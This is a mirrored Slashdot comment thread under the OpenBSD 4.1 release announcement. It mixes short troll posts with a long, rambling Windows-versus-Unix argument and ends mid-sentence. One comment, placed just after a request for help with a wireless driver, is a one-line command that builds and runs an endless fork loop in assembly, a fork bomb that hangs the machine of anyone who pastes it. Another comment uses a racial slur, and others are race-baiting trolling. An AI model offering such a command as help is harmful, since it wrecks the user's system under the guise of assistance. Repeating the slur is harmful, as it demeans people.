Slashdot Mirror
OpenBSD 4.1 Released
adstro writes to quote from the BSD mailing list: "We are pleased to announce the official release of OpenBSD 4.1. This is our 21st release on CD-ROM (and 22nd via FTP). We remain proud of OpenBSD's record of ten years with only two remote holes in the default install. As in our previous releases, 4.1 provides significant improvements, including new features, in nearly all areas of the system."
Can someone help me? The driver for my wireless network card seems to be broken.
white man always oppressin black man
Yaay, it's raining here in Seattle :-)
Bwahaha.
http://blog.digg.com/?p=74
One more page in the 295,000+ for the RIAA to send a DMCA takedown notice to.
Kind of reminds me of the end of Spartacus, except the bastards will run out of crosses this time.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
SHUT THE FUCK UP, NIGGER!
"I *love* OpenBSD, for precisely one reason; it does what it's supposed to" - by darnok (650458) on Wednesday May 02, @03:49AM (#18953491)
/. , so please - do not take it that way.
/. , that (more or less) "BSD IS THE MOST SECURE OS THERE IS"!
Which is about 1/10th of what Windows Server 2003 SP #2 can do, period.
(Simply because Microsoft's product line is larger and device support is larger as well from 3rd party vendors, as well as the possible base of applications present for Windows 2000/XP/Server 2003, vs. OpenBSD (or Linux, or any other original BellLabs UNIX derivants)).
Also, since Windows is the MOST USED operating system there is under the sun, on personal computers (not counting big iron midrange/mainframes, or even mobile devices)?
That said & aside??
I.E.-> Where are your chances greater of gaining employment, since computer usage and expertise is often a demanded requirement by employers nowadays for many jobs??
With Linux/UNIX/BSD/MacOS X (all unix variants etc. et al), OR, on the most used OS there is in Windows (the most widely used OS there is on the most widely used cpu hardware platform there is, & thus, has the greatest surface area present in computing)???
Sure, UNIX family derivants are NOT "going away"! They've been around nearly 40 years (1969 to present, after the MIT MULTICS PROJECT, which even Bell Labs original UNIX has roots in) now and have much refinement into them than Windows NT-based OS' do (more than twice the time NT-based OS have in them in fact).
However, but UNIX and all its derivants are not nearly as flexible!
(Though many are EXTREMELY stable (Linux being the 'worst of the lot' here, but it makes sense - to beat Windows? You have to become LIKE Windows basically and support a wide base of hardwares))
E.G.-> Witness AIX as my case-in-point on this note. IBM demands you use their hardwares they certify for it, whereas on a PC using Windows (or Linux, to a lesser extent), you can use an INCREDIBLE MIX of diff. vendors hardwares and they work, & usually quite well), nor as ubiquitous, as Windows family derivants are!
In networked environs though? You do not see a 'wide mix' of hardwares blended into client nodes in client-server environs, not if the network admins and CIO have any sense. Keep it uniform, for support purposes is the general trend. This point I am making is about PC's, the world over in general.
This is where IBM is coming from when they have you run a SPECIFIC MIX of hardware certified to run well on AIX basically.
Conversely, you can achieve this kind of stability using Windows, if you get a WHQL driverset applied to hardwares your uniform network client-server environs uses also.
Anyways, That is the way it is (and has been, for nearly 15 years now), even though Linux (the most flexible of them all imo in both terms of varied 3rd party vendor support and wares available for it vs. other UNIX knock-offs/variants) runs on more hardware platforms than just x86 (again, which is what x86 is: It the most widely used computing hardware/cpu platform there is)).
Above all: I am NOT trying to "bust on you" solely, because you are NOT attacking Windows directly as is often the case here at
I am just making a point is all, albeit in your thread reply (because it is near the top of this post about OpenBSD) but not directed YOUR way, exclusively.
(Feel free to debate my points above, by ALL means, because that is what this is about: I, and yourself, will only get stronger for it, being able to see "how the other 1/2 thinks" in their rebuttal points!)
Personally, on a closing note:
I was SURPRISED to see that any BSD derivant (Bell Labs UNIX knock-offs all, as far as UNIX clones go) has ANY "remote execution holes" possible on it @ all.
I say that, because it is often said, especially here on
(Perhaps OpenBSD does not qualify on that account, vs. origina